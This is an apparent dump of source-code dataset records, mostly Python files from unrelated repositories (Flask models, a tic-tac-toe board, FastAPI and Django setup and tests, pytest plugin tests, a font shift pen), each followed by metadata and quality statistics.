] | 1 | 2019-12-16T12:47:07.000Z | 2019-12-16T12:47:07.000Z | import matplotlib.pyplot as plt
import matplotlib.dates as md
import matplotlib as mpl
import datetime
import numpy as np
from matplotlib.backends.backend_pdf import PdfPages
import numpy as np
import sys
import errno
import os
from collections import OrderedDict
import math
from readcsv import readbandwidthvalues_sel... | 44.277477 | 158 | 0.547164 | 2,315 | 24,574 | 5.651836 | 0.12095 | 0.040355 | 0.009172 | 0.010165 | 0.688016 | 0.635891 | 0.606695 | 0.559538 | 0.525222 | 0.511617 | 0 | 0.020158 | 0.329779 | 24,574 | 555 | 159 | 44.277477 | 0.774256 | 0.057215 | 0 | 0.529268 | 0 | 0 | 0.079486 | 0.001053 | 0 | 0 | 0 | 0 | 0.009756 | 1 | 0.031707 | false | 0.073171 | 0.031707 | 0.007317 | 0.082927 | 0.036585 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
f2cf771321d45efaa8169119ca6e705fb100ee16 | 490 | py | Python | models/roles.py | TyroneZeka/Flask-Blog | 0ed5581aa2e8a633611f1f06c279efd3bbd62132 | [
"MIT"
] | null | null | null | models/roles.py | TyroneZeka/Flask-Blog | 0ed5581aa2e8a633611f1f06c279efd3bbd62132 | [
"MIT"
] | null | null | null | models/roles.py | TyroneZeka/Flask-Blog | 0ed5581aa2e8a633611f1f06c279efd3bbd62132 | [
"MIT"
] | null | null | null | from db import db
class Role(db.Model):
__tablename__='roles'
id = db.Column(db.Integer(), primary_key=True)
name = db.Column(db.String(50), unique=True)
#Define the UserRoles association table
class UserRoles(db.Model):
__tablename__ = 'user_roles'
id = db.Column(db.Integer(), primary_key=True)... | 35 | 84 | 0.697959 | 70 | 490 | 4.7 | 0.4 | 0.121581 | 0.151976 | 0.145897 | 0.419453 | 0.419453 | 0.419453 | 0.231003 | 0.231003 | 0 | 0 | 0.004762 | 0.142857 | 490 | 14 | 85 | 35 | 0.778571 | 0.077551 | 0 | 0.2 | 0 | 0 | 0.099558 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
f2d134009771c4ac91ada6e7c68560d81ae58aab | 3,177 | py | Python | board.py | krishenm94/TicTacToe | 649535b50e0b60e74a0ad55a35631b48d92bb14e | [
"MIT"
] | null | null | null | board.py | krishenm94/TicTacToe | 649535b50e0b60e74a0ad55a35631b48d92bb14e | [
"MIT"
] | null | null | null | board.py | krishenm94/TicTacToe | 649535b50e0b60e74a0ad55a35631b48d92bb14e | [
"MIT"
] | null | null | null | from enum import IntEnum
import numpy as np
class Cell(IntEnum):
Empty = 0
O = -1 # player 2
X = 1 # player 1
class Result(IntEnum):
X_Wins = 1
O_Wins = -1
Draw = 0
Incomplete = 2
SIZE = 3
class Board(object):
"""docstring for Board"""
def __init__(self, cells=None):
... | 24.820313 | 85 | 0.570979 | 433 | 3,177 | 3.981524 | 0.214781 | 0.099188 | 0.031903 | 0.046404 | 0.191415 | 0.107889 | 0.107889 | 0.074246 | 0.074246 | 0.074246 | 0 | 0.013352 | 0.316336 | 3,177 | 127 | 86 | 25.015748 | 0.780387 | 0.011961 | 0 | 0.068966 | 0 | 0 | 0.022669 | 0 | 0 | 0 | 0 | 0 | 0.022989 | 1 | 0.172414 | false | 0 | 0.022989 | 0.057471 | 0.54023 | 0.068966 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
f2d236904ac429504474b8790820211b5dad361c | 1,840 | py | Python | voila/server_extension.py | astrojuanlu/voila | 7613e813a0a421ebe0d0c318fb0e2f92b5dc36ca | [
"BSD-3-Clause"
] | null | null | null | voila/server_extension.py | astrojuanlu/voila | 7613e813a0a421ebe0d0c318fb0e2f92b5dc36ca | [
"BSD-3-Clause"
] | null | null | null | voila/server_extension.py | astrojuanlu/voila | 7613e813a0a421ebe0d0c318fb0e2f92b5dc36ca | [
"BSD-3-Clause"
] | null | null | null | #############################################################################
# Copyright (c) 2018, Voila Contributors #
# #
# Distributed under the terms of the BSD 3-Clause License. #
# ... | 42.790698 | 115 | 0.588587 | 192 | 1,840 | 5.395833 | 0.40625 | 0.040541 | 0.063707 | 0.057915 | 0.119691 | 0.119691 | 0.07529 | 0 | 0 | 0 | 0 | 0.008535 | 0.23587 | 1,840 | 42 | 116 | 43.809524 | 0.728307 | 0.202174 | 0 | 0 | 0 | 0 | 0.090699 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.037037 | false | 0 | 0.37037 | 0 | 0.407407 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
f2d564d699be3e4fe8832ec91649a359388016f3 | 495 | py | Python | 2021_05.py | flyingOwl/advent_of_code_2021 | a2da6760248653ae8a27c3870afa04cc82f6ae2c | [
"MIT"
] | null | null | null | 2021_05.py | flyingOwl/advent_of_code_2021 | a2da6760248653ae8a27c3870afa04cc82f6ae2c | [
"MIT"
] | null | null | null | 2021_05.py | flyingOwl/advent_of_code_2021 | a2da6760248653ae8a27c3870afa04cc82f6ae2c | [
"MIT"
] | null | null | null | import sys
lines = open(sys.argv[1]).readlines()
j = [ list(map(int, x.replace("->",",").split(","))) for x in lines ]
l = [[a,b,c-a,d-b] for a,b,c,d in j]
m = range(max(max(j,key=max))+1)
n = { (x,y):0 for x in m for y in m }
def r(l,c,s):
for a,b,c,d in l:
m = abs(c or d)
v = [[i*c//m,i*d//m] for i in range(... | 23.571429 | 69 | 0.511111 | 127 | 495 | 1.992126 | 0.338583 | 0.047431 | 0.035573 | 0.047431 | 0.150198 | 0.071146 | 0 | 0 | 0 | 0 | 0 | 0.027638 | 0.19596 | 495 | 20 | 70 | 24.75 | 0.60804 | 0 | 0 | 0 | 0 | 0 | 0.056566 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066667 | false | 0 | 0.066667 | 0 | 0.2 | 0.133333 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f2d669cf6f889bef8e405a5036d1218540f56f02 | 205 | py | Python | py/day_24/write_blocks.py | Thundzz/advent-of-code-2021 | e91cd8a5756566ad3f47e07a51b0beb5b9f5326c | [
"MIT"
] | null | null | null | py/day_24/write_blocks.py | Thundzz/advent-of-code-2021 | e91cd8a5756566ad3f47e07a51b0beb5b9f5326c | [
"MIT"
] | null | null | null | py/day_24/write_blocks.py | Thundzz/advent-of-code-2021 | e91cd8a5756566ad3f47e07a51b0beb5b9f5326c | [
"MIT"
] | null | null | null | with open("input_blocks.txt") as file:
content = file.read()
for idx, block in enumerate(content.strip().split("---\n")):
with open(f"blocks/{idx+1}.txt", "w") as file:
print(block.rstrip(), file=file) | 41 | 60 | 0.668293 | 34 | 205 | 4 | 0.647059 | 0.117647 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005464 | 0.107317 | 205 | 5 | 61 | 41 | 0.737705 | 0 | 0 | 0 | 0 | 0 | 0.194175 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.2 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f2d7c63dd01f147b6667d418f76d74eccb57e795 | 181 | py | Python | Week-3/L5/Prob1.py | jabhij/MITx-6.00.1x-PYTHON | b9650ec0829796f4f312bd46db16e5e30df605ee | [
"MIT"
] | 2 | 2016-09-20T16:30:49.000Z | 2016-09-20T16:31:04.000Z | Week-3/L5/Prob1.py | jabhij/MITx-6.00.1x-Python- | b9650ec0829796f4f312bd46db16e5e30df605ee | [
"MIT"
] | null | null | null | Week-3/L5/Prob1.py | jabhij/MITx-6.00.1x-Python- | b9650ec0829796f4f312bd46db16e5e30df605ee | [
"MIT"
] | null | null | null | # Defining a Function
def iterPower(base, exp):
# Making an Iterative Call
result = 1
while exp > 0:
result *= base
exp -= 1
return result
| 16.454545 | 30 | 0.546961 | 22 | 181 | 4.5 | 0.727273 | 0.141414 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.026786 | 0.381215 | 181 | 10 | 31 | 18.1 | 0.857143 | 0.243094 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f2db669a633cd07ce741ff224bec63cbf21df664 | 1,014 | py | Python | carflux/src/world.py | Deepak-r2dl/carflux | 53e14a32897b9615a0b0d07bb99e5ebc9ce069f8 | [
"MIT"
] | null | null | null | carflux/src/world.py | Deepak-r2dl/carflux | 53e14a32897b9615a0b0d07bb99e5ebc9ce069f8 | [
"MIT"
] | null | null | null | carflux/src/world.py | Deepak-r2dl/carflux | 53e14a32897b9615a0b0d07bb99e5ebc9ce069f8 | [
"MIT"
] | null | null | null | from multiprocessing.pool import ThreadPool
from threading import Lock
class World:
# Probably a bit risque.
def __init__(self,list_agents,list_resources):
self.agents = list_agents
self.shared_resources = list_resources
# Getter methods
def get_agents(self):
return self.a... | 28.166667 | 62 | 0.572978 | 108 | 1,014 | 5.175926 | 0.481481 | 0.069767 | 0.067979 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004573 | 0.353057 | 1,014 | 36 | 63 | 28.166667 | 0.847561 | 0.136095 | 0 | 0 | 0 | 0 | 0.014943 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.227273 | false | 0 | 0.090909 | 0.090909 | 0.454545 | 0.045455 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f2e67e71a7b1961b11240526870d5a5669e936aa | 6,066 | py | Python | simulation/geolib/bbox.py | stanford-iprl-lab/UniGrasp | 7db2c14303ced6f83115065439d2eb525f96e4d0 | [
"MIT"
] | 39 | 2020-07-27T23:17:42.000Z | 2022-03-31T11:42:43.000Z | simulation/geolib/bbox.py | radhen/UniGrasp | 642b4132c8aa1664619122dead3c584cd5aa3950 | [
"MIT"
] | 3 | 2020-11-25T16:24:04.000Z | 2021-11-06T03:57:43.000Z | simulation/geolib/bbox.py | radhen/UniGrasp | 642b4132c8aa1664619122dead3c584cd5aa3950 | [
"MIT"
] | 4 | 2020-10-19T15:17:18.000Z | 2021-06-01T07:41:28.000Z | import numpy as np
from mayavi import mlab as mayalab
def plot_pc_with_normal(pcs,pcs_n,scale_factor=1.0):
mayalab.quiver3d(pcs[:, 0], pcs[:, 1], pcs[:, 2], pcs_n[:, 0], pcs_n[:, 1], pcs_n[:, 2], mode='arrow',scale_factor=1.0)
def plot_pc(pcs,color=None,scale_factor=.05,mode='point'):
if color == 'r':
mayalab... | 38.636943 | 206 | 0.622156 | 943 | 6,066 | 3.852598 | 0.138918 | 0.11891 | 0.149739 | 0.215524 | 0.447013 | 0.339114 | 0.314891 | 0.298927 | 0.298927 | 0.298927 | 0 | 0.065137 | 0.195186 | 6,066 | 156 | 207 | 38.884615 | 0.679025 | 0.077646 | 0 | 0.256881 | 0 | 0 | 0.006868 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.073395 | false | 0 | 0.018349 | 0 | 0.155963 | 0.009174 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f2ebb247c792ebffb1db9c303cbb5cf0144e2a0a | 655 | py | Python | flask_project/reporter/config/__init__.py | russbiggs/MapCampaigner | 05b6c6eb1bdefbe0b60313a9d3cd1a0d2df2a148 | [
"BSD-3-Clause"
] | 24 | 2018-10-05T06:39:11.000Z | 2022-02-22T08:54:37.000Z | flask_project/reporter/config/__init__.py | russbiggs/MapCampaigner | 05b6c6eb1bdefbe0b60313a9d3cd1a0d2df2a148 | [
"BSD-3-Clause"
] | 384 | 2017-05-17T07:50:02.000Z | 2018-09-20T08:18:56.000Z | flask_project/reporter/config/__init__.py | russbiggs/MapCampaigner | 05b6c6eb1bdefbe0b60313a9d3cd1a0d2df2a148 | [
"BSD-3-Clause"
] | 16 | 2017-05-11T08:52:19.000Z | 2018-06-08T06:55:43.000Z | # -*- coding:utf-8 -*-
"""
Package for configuration of the reporter app.
:copyright: (c) 2013 by Tim Sutton
:license: GPLv3, see LICENSE for more details.
"""
import os
import re
# import default
# pylint: disable=W0401
from reporter.config.default import *
# pylint: enable=W0401
try:
user_settings = __import__(... | 23.392857 | 54 | 0.687023 | 88 | 655 | 4.977273 | 0.670455 | 0.109589 | 0.091324 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.026465 | 0.192366 | 655 | 27 | 55 | 24.259259 | 0.801512 | 0.416794 | 0 | 0 | 0 | 0 | 0.143631 | 0.119241 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.307692 | 0 | 0.307692 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
f2eee521e386613f92f3c8d497cf6390bdb74b66 | 384 | py | Python | tests/test_example_001.py | benediktkr/python-terrascript | 7b56a34563964e0313dd39b52b4b7d9ceb71dde9 | [
"BSD-2-Clause"
] | 507 | 2017-07-26T02:58:38.000Z | 2022-01-21T12:35:13.000Z | tests/test_example_001.py | benediktkr/python-terrascript | 7b56a34563964e0313dd39b52b4b7d9ceb71dde9 | [
"BSD-2-Clause"
] | 135 | 2017-07-20T12:01:59.000Z | 2021-10-04T22:25:40.000Z | tests/test_example_001.py | benediktkr/python-terrascript | 7b56a34563964e0313dd39b52b4b7d9ceb71dde9 | [
"BSD-2-Clause"
] | 81 | 2018-02-20T17:55:28.000Z | 2022-01-31T07:08:40.000Z | import terrascript
import terrascript.provider
import terrascript.resource
import tests.shared
def test_example_001():
config = terrascript.Terrascript()
config += terrascript.provider.aws(region="us-east-1", version="~> 2.0")
config += terrascript.resource.aws_vpc("example", cidr_block="10.0.0.0/16")
... | 24 | 79 | 0.742188 | 52 | 384 | 5.346154 | 0.557692 | 0.183453 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.047337 | 0.119792 | 384 | 15 | 80 | 25.6 | 0.775148 | 0 | 0 | 0 | 0 | 0 | 0.127604 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 1 | 0.111111 | false | 0 | 0.444444 | 0 | 0.555556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
f2efe23bc7a62f64a4b5c9e15c49b5b7f5b415ee | 1,671 | py | Python | traceplus/conf/strategy.py | traceplusplus/traceplus-python | eb20bf8840fed4c789157cacf85eed6fa45a2f26 | [
"MIT"
] | null | null | null | traceplus/conf/strategy.py | traceplusplus/traceplus-python | eb20bf8840fed4c789157cacf85eed6fa45a2f26 | [
"MIT"
] | null | null | null | traceplus/conf/strategy.py | traceplusplus/traceplus-python | eb20bf8840fed4c789157cacf85eed6fa45a2f26 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import importlib
import sys
import os
class SettingsLoadStrategyPythonModule(object):
"""
This is the strategy used to read settings from python modules.
"""
name = 'python_module'
@staticmethod
def is_valid_file(file_name):
try:
importlib.import_mod... | 26.52381 | 90 | 0.666068 | 185 | 1,671 | 5.772973 | 0.335135 | 0.123596 | 0.052434 | 0.061798 | 0.297753 | 0.17603 | 0.17603 | 0.095506 | 0.095506 | 0.095506 | 0 | 0.00565 | 0.258528 | 1,671 | 62 | 91 | 26.951613 | 0.856336 | 0.087971 | 0 | 0.243902 | 0 | 0 | 0.03282 | 0.015405 | 0 | 0 | 0 | 0 | 0 | 1 | 0.097561 | false | 0 | 0.268293 | 0.02439 | 0.658537 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
f2f0457654b73c1f1c93310fa6d6ea47d37782de | 408 | py | Python | app/main.py | harokki/fastapi-authenticated | baca823d3489739843b4df68f57fa785da7bf50d | [
"MIT"
] | null | null | null | app/main.py | harokki/fastapi-authenticated | baca823d3489739843b4df68f57fa785da7bf50d | [
"MIT"
] | null | null | null | app/main.py | harokki/fastapi-authenticated | baca823d3489739843b4df68f57fa785da7bf50d | [
"MIT"
] | null | null | null | from fastapi import FastAPI
from .api import deps
from .api.routers import login, users
from .containers import Container
def create_app() -> FastAPI:
container = Container()
container.wire(modules=[login, users, deps])
app = FastAPI()
app.container = container # type: ignore
app.include_router... | 20.4 | 48 | 0.713235 | 52 | 408 | 5.519231 | 0.384615 | 0.188153 | 0.111498 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.191176 | 408 | 19 | 49 | 21.473684 | 0.869697 | 0.029412 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.076923 | false | 0 | 0.307692 | 0 | 0.461538 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
f2f2a273ffcc07e9ed6ac411e6a6c802aded2ce7 | 22,753 | py | Python | test_pytest_doctest_custom.py | danilobellini/pytest-doctest-custom | 6166c0245356d832597877c264514f01334d4374 | [
"MIT"
] | 7 | 2016-07-26T01:29:43.000Z | 2017-06-04T23:22:15.000Z | test_pytest_doctest_custom.py | danilobellini/pytest-doctest-custom | 6166c0245356d832597877c264514f01334d4374 | [
"MIT"
] | 1 | 2016-10-04T12:40:36.000Z | 2016-10-04T12:40:36.000Z | test_pytest_doctest_custom.py | danilobellini/pytest-doctest-custom | 6166c0245356d832597877c264514f01334d4374 | [
"MIT"
] | null | null | null | """Test suite for the pytest-doctest-custom plugin."""
import re, os, sys, platform, pytest, pytest_doctest_custom
pytest_plugins = "pytester" # Enables the testdir fixture
PYPY = platform.python_implementation() == "PyPy"
JYTHON = platform.python_implementation() == "Jython"
PY2 = sys.version_info[0] == 2
SPLIT_DOC... | 37.484349 | 79 | 0.612535 | 2,652 | 22,753 | 5.001508 | 0.136878 | 0.017416 | 0.035283 | 0.049005 | 0.593712 | 0.540109 | 0.494496 | 0.450694 | 0.42114 | 0.40184 | 0 | 0.018007 | 0.260449 | 22,753 | 606 | 80 | 37.546205 | 0.77025 | 0.060651 | 0 | 0.395492 | 0 | 0.004098 | 0.339358 | 0.100631 | 0 | 0 | 0 | 0 | 0.10041 | 1 | 0.07582 | false | 0.168033 | 0.047131 | 0.002049 | 0.237705 | 0.061475 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
f2f43e8b5a8e5034fb3a7686f783b145d248f8fb | 364 | py | Python | pysm.py | JoshWorld/PySM | e17a3deb6d2f9216f0f0df22c9e1204efaf9b698 | [
"MIT"
] | 6 | 2017-05-07T03:50:24.000Z | 2022-02-17T12:26:33.000Z | pysm.py | JoshWorld/PySM | e17a3deb6d2f9216f0f0df22c9e1204efaf9b698 | [
"MIT"
] | null | null | null | pysm.py | JoshWorld/PySM | e17a3deb6d2f9216f0f0df22c9e1204efaf9b698 | [
"MIT"
] | 5 | 2017-03-19T13:09:18.000Z | 2022-02-17T12:25:45.000Z | #!/usr/bin/env python
# coding=utf-8
import sys
# Library imports
from PyQt5.QtWidgets import QApplication
# Local imports
from view import View
from presenter import Presenter
if __name__ == '__main__':
app = QApplication(sys.argv)
gui = View()
presenter = Presenter(gui... | 18.2 | 40 | 0.637363 | 44 | 364 | 5.068182 | 0.613636 | 0.098655 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007491 | 0.266484 | 364 | 19 | 41 | 19.157895 | 0.827715 | 0.173077 | 0 | 0 | 0 | 0 | 0.026936 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
f2fbbc77261d8695a47bf785887ec36cf4be51b2 | 1,271 | py | Python | artbot.py | SecretJuice/art-bot | b47a87d7ff6bf0a93a2f93b0b5d69b38255b38c5 | [
"MIT"
] | null | null | null | artbot.py | SecretJuice/art-bot | b47a87d7ff6bf0a93a2f93b0b5d69b38255b38c5 | [
"MIT"
] | null | null | null | artbot.py | SecretJuice/art-bot | b47a87d7ff6bf0a93a2f93b0b5d69b38255b38c5 | [
"MIT"
] | null | null | null | from playsound import playsound # playsound is a supposedly cross platform library that does nothing but plays a sound file. It's limited, but it's very simple and fufilled my needs
import serial # serial is the library used to look for input from the serial bus (aka, what you're actually looking for if you're here)
... | 84.733333 | 238 | 0.768686 | 213 | 1,271 | 4.502347 | 0.502347 | 0.052138 | 0.058394 | 0.08342 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.016083 | 0.168371 | 1,271 | 14 | 239 | 90.785714 | 0.891202 | 0.693942 | 0 | 0 | 0 | 0 | 0.09863 | 0.073973 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0.4 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
f2fcf78c7f4f54a2b7dddbbffa8bea8480baa0b0 | 1,140 | py | Python | data/external/repositories/42139/KDDCup13Track2-master/unidecodefile.py | Keesiu/meta-kaggle | 87de739aba2399fd31072ee81b391f9b7a63f540 | [
"MIT"
] | null | null | null | data/external/repositories/42139/KDDCup13Track2-master/unidecodefile.py | Keesiu/meta-kaggle | 87de739aba2399fd31072ee81b391f9b7a63f540 | [
"MIT"
] | null | null | null | data/external/repositories/42139/KDDCup13Track2-master/unidecodefile.py | Keesiu/meta-kaggle | 87de739aba2399fd31072ee81b391f9b7a63f540 | [
"MIT"
] | 1 | 2019-12-04T08:23:33.000Z | 2019-12-04T08:23:33.000Z | #!/usr/bin/env python
from unidecode import unidecode
import fileinput
import csv
import argparse
import sys
from common import strip_punc
def main():
parser = argparse.ArgumentParser()
parser.add_argument('infile', nargs='?', default='-')
parser.add_argument('outfile', nargs='?', default='-')
parser.add_argument(... | 28.5 | 74 | 0.672807 | 175 | 1,140 | 4.24 | 0.388571 | 0.060647 | 0.114555 | 0.056604 | 0.12938 | 0.051213 | 0.051213 | 0 | 0 | 0 | 0 | 0.011247 | 0.142105 | 1,140 | 40 | 75 | 28.5 | 0.747444 | 0.017544 | 0 | 0.060606 | 0 | 0 | 0.090179 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.181818 | null | null | 0.030303 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f2fe925f9e3e809e51acca11cca628bb0dab8eed | 2,051 | py | Python | register/tests.py | PMPL-Arieken/django-locallibrary-tutorial | 667cd9d06043718bcfc8c02a3ff71c848803eb06 | [
"CC0-1.0"
] | 1 | 2020-12-05T16:10:20.000Z | 2020-12-05T16:10:20.000Z | register/tests.py | PMPL-Arieken/django-locallibrary-tutorial | 667cd9d06043718bcfc8c02a3ff71c848803eb06 | [
"CC0-1.0"
] | 67 | 2020-12-04T13:39:26.000Z | 2022-03-21T15:07:31.000Z | register/tests.py | PMPL-Arieken/django-locallibrary-tutorial | 667cd9d06043718bcfc8c02a3ff71c848803eb06 | [
"CC0-1.0"
] | 1 | 2020-11-27T13:47:16.000Z | 2020-11-27T13:47:16.000Z | from django.contrib.auth.models import User
from django.test import TestCase
from django.urls.base import reverse
# Create your tests here.
class RegisterViewTest(TestCase):
def setUp(self):
self.email = 'email@example.com'
self.password = 'P@ssw0rd'
self.url_path = reverse('register')
... | 32.555556 | 64 | 0.606046 | 221 | 2,051 | 5.506787 | 0.280543 | 0.073952 | 0.045193 | 0.095316 | 0.562859 | 0.509449 | 0.481512 | 0.481512 | 0.481512 | 0.328677 | 0 | 0.012312 | 0.287177 | 2,051 | 62 | 65 | 33.080645 | 0.820109 | 0.011214 | 0 | 0.44898 | 0 | 0 | 0.079467 | 0 | 0 | 0 | 0 | 0 | 0.204082 | 1 | 0.102041 | false | 0.204082 | 0.061224 | 0 | 0.183673 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
840491a0c7aaf1620e2e05714a0a72d6aca53d01 | 2,376 | py | Python | examples/shiftPen.py | loicsander/RobofabPens | 5b681bb8e9185c5f57a34404496009524155a1d7 | [
"MIT"
] | 20 | 2015-05-10T08:07:12.000Z | 2021-11-01T16:47:01.000Z | examples/shiftPen.py | loicsander/RobofabPens | 5b681bb8e9185c5f57a34404496009524155a1d7 | [
"MIT"
] | null | null | null | examples/shiftPen.py | loicsander/RobofabPens | 5b681bb8e9185c5f57a34404496009524155a1d7 | [
"MIT"
] | 5 | 2015-06-09T17:17:02.000Z | 2020-12-28T15:20:52.000Z | #coding=utf-8
from fontTools.pens.basePen import BasePen
class AbstractShiftPen(BasePen):
"""
Move a glyph’s x and y coordinates by xShift and yShift respectively.
In itself, the pen doesn’t ‘draw’ anything, it just collects coordinates,
